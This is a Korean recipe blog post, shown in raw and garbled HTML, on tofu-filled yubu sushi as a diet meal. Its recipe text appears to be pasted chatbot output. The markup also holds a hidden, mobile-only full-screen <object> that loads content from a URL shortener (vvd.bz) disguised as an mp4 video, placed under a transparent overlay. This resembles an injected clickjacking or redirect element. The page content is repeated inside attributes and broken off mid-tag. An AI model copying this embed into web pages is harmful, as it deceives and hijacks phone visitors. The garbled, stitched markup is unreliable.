두부유부초밥 만들기 칼로리 다이어트 유부초밥 음식 두부요리

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c2887460754="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">두부 유부초밥: 건강하고 맛있는 다이어트 식단</h2><h3 data-sourcepos="3:1-3:17">왜 두부 유부초밥일까요?</h3><p data-sourcepos="5:1-5:79">바쁜 현대인들에게 간편하면서도 건강한 식사를 찾는 것은 쉽지 않습니다. 두부 유부초밥은 이러한 고민을 해결해 줄 수 있는 완벽한 메뉴입니다.</p><ul data-sourcepos="7:1-11:0"> <li data-sourcepos="7:1-7:47"><strong>낮은 칼로리:</strong> 밥 대신 두부를 사용하여 칼로리를 현저히 낮출 수 있습니다.</li> <li data-sourcepos="8:1-8:60"><strong>풍부한 단백질:</strong> 두부는 식물성 단백질의 좋은 공급원으로, 근육 형성과 체중 관리에 도움을 줍니다.</li> <li data-sourcepos="9:1-9:62"><strong>다양한 영양소:</strong> 유부와 함께 채소를 곁들이면 비타민, 미네랄 등 다양한 영양소를 섭취할 수 있습니다.</li> <li data-sourcepos="10:1-11:0"><strong>간편한 조리:</strong> 재료만 준비되면 누구나 쉽게 만들 수 있는 간편한 요리입니다.</li> </ul><h3 data-sourcepos="12:1-12:15">두부 유부초밥 만들기</h3><p data-sourcepos="14:1-14:7"><strong>재료:</strong></p><ul data-sourcepos="16:1-23:0"> <li data-sourcepos="16:1-16:7">두부 1모</li> <li data-sourcepos="17:1-17:10">유부 8~10장</li> <li data-sourcepos="18:1-18:9">양파 1/2개</li> <li data-sourcepos="19:1-19:9">당근 1/3개</li> <li data-sourcepos="20:1-20:8">식용유 약간</li> <li data-sourcepos="21:1-21:11">소금, 후추 약간</li> <li data-sourcepos="22:1-23:0">초밥 소스</li> </ul><p data-sourcepos="24:1-24:10"><strong>만드는 법:</strong></p><ol data-sourcepos="26:1-31:0"> <li data-sourcepos="26:1-26:47"><strong>두부 준비:</strong> 두부를 으깨어 물기를 제거하고, 소금, 후추로 간을 합니다.</li> <li data-sourcepos="27:1-27:38"><strong>채소 준비:</strong> 양파와 당근을 잘게 다져 식용유에 볶습니다.</li> <li data-sourcepos="28:1-28:28"><strong>섞기:</strong> 볶은 채소와 두부를 섞어줍니다.</li> <li data-sourcepos="29:1-29:36"><strong>유부 채우기:</strong> 유부에 준비된 속재료를 채워 넣습니다.</li> <li data-sourcepos="30:1-31:0"><strong>초밥 소스 뿌리기:</strong> 완성된 유부초밥 위에 초밥 소스를 뿌려줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c541263143="" class="ng-star-inserted"><div _ngcontent-ng-c541263143="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c541263143="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c541263143="" rel="noopener" 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jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6006cbee878c6b39&quot;,&quot;c_227d740087937bbb&quot;,null,&quot;rc_f1bdbf27bbde3384&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c541263143="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c541263143="" class="label ellipsis gds-label-m-alt">.</span><span _ngcontent-ng-c541263143="" aria-label=""></span></a></div><div _ngcontent-ng-c541263143="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두부 유부초밥 만들기 과정 </div></div></single-image></response-element></div></ol><h3 data-sourcepos="34:1-34:17">더욱 맛있게 즐기는 방법</h3><ul data-sourcepos="36:1-39:0"> <li data-sourcepos="36:1-36:58"><strong>다양한 속재료 활용:</strong> 햄, 참치, 계란 등 다양한 속재료를 추가하여 풍미를 더할 수 있습니다.</li> <li data-sourcepos="37:1-37:57"><strong>채소 가득:</strong> 오이, 피망 등 좋아하는 채소를 넣어 아삭한 식감과 함께 영양을 보충해 보세요.</li> <li data-sourcepos="38:1-39:0"><strong>특별한 소스:</strong> 시판 초밥 소스 외에도 간장, 식초, 설탕을 이용하여 직접 만든 소스를 활용하면 더욱 특별한 맛을 즐길 수 있습니다.</li> </ul><h3 data-sourcepos="40:1-40:15">두부 유부초밥 칼로리</h3><p data-sourcepos="42:1-42:100">두부 유부초밥의 칼로리는 사용하는 재료와 양에 따라 달라질 수 있습니다. 일반적으로 1개당 50~80kcal 정도이며, 밥 대신 두부를 사용하여 칼로리를 현저히 낮출 수 있습니다.</p><h3 data-sourcepos="44:1-44:18">다이어트 식단으로 활용하기</h3><p data-sourcepos="46:1-46:103">두부 유부초밥은 다이어트 식단으로 활용하기 좋은 메뉴입니다. 낮은 칼로리와 풍부한 단백질은 체중 감량에 도움을 주며, 다양한 영양소를 공급하여 건강한 다이어트를 할 수 있도록 돕습니다.</p><p data-sourcepos="48:1-48:6"><strong>팁:</strong></p><ul data-sourcepos="50:1-53:0"> <li data-sourcepos="50:1-50:38">아침 식사나 간식으로 활용하면 포만감을 오래 유지할 수 있습니다.</li> <li data-sourcepos="51:1-51:40">다른 다이어트 식단과 함께 균형 잡힌 식사를 구성하는 것이 좋습니다.</li> <li data-sourcepos="52:1-53:0">과도한 섭취는 피하고, 적정량을 섭취하는 것이 중요합니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c541263143="" class="ng-star-inserted"><div _ngcontent-ng-c541263143="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c541263143="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c541263143="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2254870090="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_6006cbee878c6b39&quot;,&quot;c_227d740087937bbb&quot;,null,&quot;rc_f1bdbf27bbde3384&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///baby0817/223062419609"><span _ngcontent-ng-c2254870090="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c541263143="" class="image loaded" alt="다양한 두부 유부초밥 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRZuYXOOBuDUO6XWPt3_7AbJo7HetZ0K-IugTXLYxwASIna4NusBiJsPbSXeaL7"></span><span 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data-sourcepos="56:1-56:7">마무리</h3><p data-sourcepos="58:1-58:144">두부 유부초밥은 맛있고 건강하게 다이어트를 하고 싶은 분들에게 추천하는 메뉴입니다. 간단한 조리법으로 다양한 변형이 가능하며, 맛과 영양을 모두 잡을 수 있는 일석이조의 효과를 누릴 수 있습니다. 오늘 저녁, 두부 유부초밥으로 건강한 한 끼를 만들어 보세요!</p><p data-sourcepos="60:1-60:28"><strong>궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" 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data-sourcepos="14:1-14:7"><strong>재료:</strong></p><ul data-sourcepos="16:1-23:0"> <li data-sourcepos="16:1-16:7">두부 1모</li> <li data-sourcepos="17:1-17:10">유부 8~10장</li> <li data-sourcepos="18:1-18:9">양파 1/2개</li> <li data-sourcepos="19:1-19:9">당근 1/3개</li> <li data-sourcepos="20:1-20:8">식용유 약간</li> <li data-sourcepos="21:1-21:11">소금, 후추 약간</li> <li data-sourcepos="22:1-23:0">초밥 소스</li> </ul><p data-sourcepos="24:1-24:10"><strong>만드는 법:</strong></p><ol data-sourcepos="26:1-31:0"> <li data-sourcepos="26:1-26:47"><strong>두부 준비:</strong> 두부를 으깨어 물기를 제거하고, 소금, 후추로 간을 합니다.</li> <li data-sourcepos="27:1-27:38"><strong>채소 준비:</strong> 양파와 당근을 잘게 다져 식용유에 볶습니다.</li> <li data-sourcepos="28:1-28:28"><strong>섞기:</strong> 볶은 채소와 두부를 섞어줍니다.</li> <li data-sourcepos="29:1-29:36"><strong>유부 채우기:</strong> 유부에 준비된 속재료를 채워 넣습니다.</li> <li data-sourcepos="30:1-31:0"><strong>초밥 소스 뿌리기:</strong> 완성된 유부초밥 위에 초밥 소스를 뿌려줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c541263143="" class="ng-star-inserted"><div _ngcontent-ng-c541263143="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c541263143="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c541263143="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2254870090="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_6006cbee878c6b39","c_227d740087937bbb",null,"rc_f1bdbf27bbde3384",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://./watch?v=51uAKVA27bk"><span _ngcontent-ng-c2254870090="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c541263143="" class="image loaded" alt="두부 유부초밥 만들기 과정 " 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